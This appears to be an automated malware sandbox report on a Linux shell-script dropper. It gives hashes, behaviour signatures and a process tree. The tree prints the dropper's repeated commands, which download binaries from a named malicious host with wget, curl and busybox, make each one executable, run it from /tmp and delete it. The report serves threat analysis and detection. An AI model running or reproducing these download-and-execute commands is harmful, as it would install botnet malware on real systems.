Analysis

  • max time kernel
    150s
  • max time network
    56s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21/11/2024, 05:03

General

  • Target

    57d39cde21ad2ac6d53e7c94150e4c9c363fc38e10989a6740c21c47f8c19649.sh

  • Size

    10KB

  • MD5

    949d488100620ea8b120daff8dc03bcb

  • SHA1

    0c754e9fb78db8e7a75b06863994e13cf648e996

  • SHA256

    57d39cde21ad2ac6d53e7c94150e4c9c363fc38e10989a6740c21c47f8c19649

  • SHA512

    116e81b69f685ba3702900725834b72fa78dfec497124e7200dea051854c71a6ffa3818723b1c0d62b192bbc945ae89bffc4756ff3197c81b4c2f2f409aab453

  • SSDEEP

    192:P07/zgIn65Qy7nDoEv5e6qUp9gPnnp9gPnN/LgIn65Q0nDo8e6c:P07rgIn6uy5vIUp9gPnnp9gPnNjgIn60

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 38 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/57d39cde21ad2ac6d53e7c94150e4c9c363fc38e10989a6740c21c47f8c19649.sh
    /tmp/57d39cde21ad2ac6d53e7c94150e4c9c363fc38e10989a6740c21c47f8c19649.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • System Network Configuration Discovery
          PID:715
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • System Network Configuration Discovery
          PID:738
        • /bin/chmod
          chmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          ./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • System Network Configuration Discovery
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • System Network Configuration Discovery
            PID:746
          • /bin/chmod
            chmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            ./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • System Network Configuration Discovery
              PID:750
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • System Network Configuration Discovery
              PID:753
            • /bin/chmod
              chmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • File and Directory Permissions Modification
              PID:754
            • /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • Executes dropped EXE
              PID:756
            • /bin/rm
              rm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
                PID:759
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                2⤵
                • System Network Configuration Discovery
                PID:760
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:766
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                2⤵
                • System Network Configuration Discovery
                PID:776
              • /bin/chmod
                chmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                2⤵
                • File and Directory Permissions Modification
                PID:783
              • /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                ./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                2⤵
                • Executes dropped EXE
                PID:785
              • /bin/rm
                rm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                  2⤵
                  • System Network Configuration Discovery
                  PID:790
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:797
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                  2⤵
                  • System Network Configuration Discovery
                  PID:811
                • /bin/chmod
                  chmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:813
                • /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                  ./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                  2⤵
                  • Executes dropped EXE
                  PID:814
                • /bin/rm
                  rm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                  2⤵
                    PID:815
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                    2⤵
                    • System Network Configuration Discovery
                    PID:816
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:817
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                    2⤵
                    • System Network Configuration Discovery
                    PID:822
                  • /bin/chmod
                    chmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                    2⤵
                    • File and Directory Permissions Modification
                    PID:823
                  • /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                    ./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                    2⤵
                    • Executes dropped EXE
                    PID:824
                  • /bin/rm
                    rm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                    2⤵
                      PID:825
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                      2⤵
                      • System Network Configuration Discovery
                      PID:826
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:827
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                      2⤵
                      • System Network Configuration Discovery
                      PID:838
                    • /bin/chmod
                      chmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                      2⤵
                      • File and Directory Permissions Modification
                      PID:845
                    • /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                      ./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                      2⤵
                      • Executes dropped EXE
                      PID:846
                    • /bin/rm
                      rm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                      2⤵
                        PID:849
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                        2⤵
                        • System Network Configuration Discovery
                        PID:851
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:862
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                        2⤵
                        • System Network Configuration Discovery
                        PID:866
                      • /bin/chmod
                        chmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:867
                      • /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                        ./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                        2⤵
                        • Executes dropped EXE
                        PID:868
                      • /bin/rm
                        rm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                        2⤵
                          PID:869
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                          2⤵
                          • System Network Configuration Discovery
                          PID:870
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:871
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                          2⤵
                          • System Network Configuration Discovery
                          PID:873
                        • /bin/chmod
                          chmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                          2⤵
                          • File and Directory Permissions Modification
                          PID:874
                        • /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                          ./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                          2⤵
                          • Executes dropped EXE
                          PID:875
                        • /bin/rm
                          rm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                          2⤵
                            PID:876
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                            2⤵
                            • System Network Configuration Discovery
                            PID:877
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:878
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                            2⤵
                            • System Network Configuration Discovery
                            PID:880
                          • /bin/chmod
                            chmod 777 ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                            2⤵
                            • File and Directory Permissions Modification
                            PID:881
                          • /tmp/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                            ./ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                            2⤵
                            • Executes dropped EXE
                            PID:882
                          • /bin/rm
                            rm ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                            2⤵
                              PID:883
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f
                              2⤵
                              • System Network Configuration Discovery
                              PID:884
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:885
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f
                              2⤵
                              • System Network Configuration Discovery
                              PID:887
                            • /bin/chmod
                              chmod 777 zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f
                              2⤵
                              • File and Directory Permissions Modification
                              PID:888
                            • /tmp/zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f
                              ./zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f
                              2⤵
                              • Executes dropped EXE
                              PID:889
                            • /bin/rm
                              rm zBNGtXGLlgbJyNUkNvVPIaQkCscHKUnS2f
                              2⤵
                                PID:890
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD
                                2⤵
                                • System Network Configuration Discovery
                                PID:891
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD
                                2⤵
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:892
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD
                                2⤵
                                • System Network Configuration Discovery
                                PID:894
                              • /bin/chmod
                                chmod 777 nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD
                                2⤵
                                • File and Directory Permissions Modification
                                PID:895
                              • /tmp/nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD
                                ./nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD
                                2⤵
                                • Executes dropped EXE
                                PID:896
                              • /bin/rm
                                rm nHQ7bZHL7csrB6Ps3rFIYrulC4l3OPemLD
                                2⤵
                                  PID:897
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:898
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/asIYHC8adseWEP5b4sxsU9yXJskkGiXN3y
                                  2⤵
                                  • Reads runtime system information
                                  • System Network Configuration Discovery
                                  PID:899

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM

                                Filesize

                                153B

                                MD5

                                998368d7c95ea4293237f2320546e440

                                SHA1

                                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                SHA256

                                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                SHA512

                                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97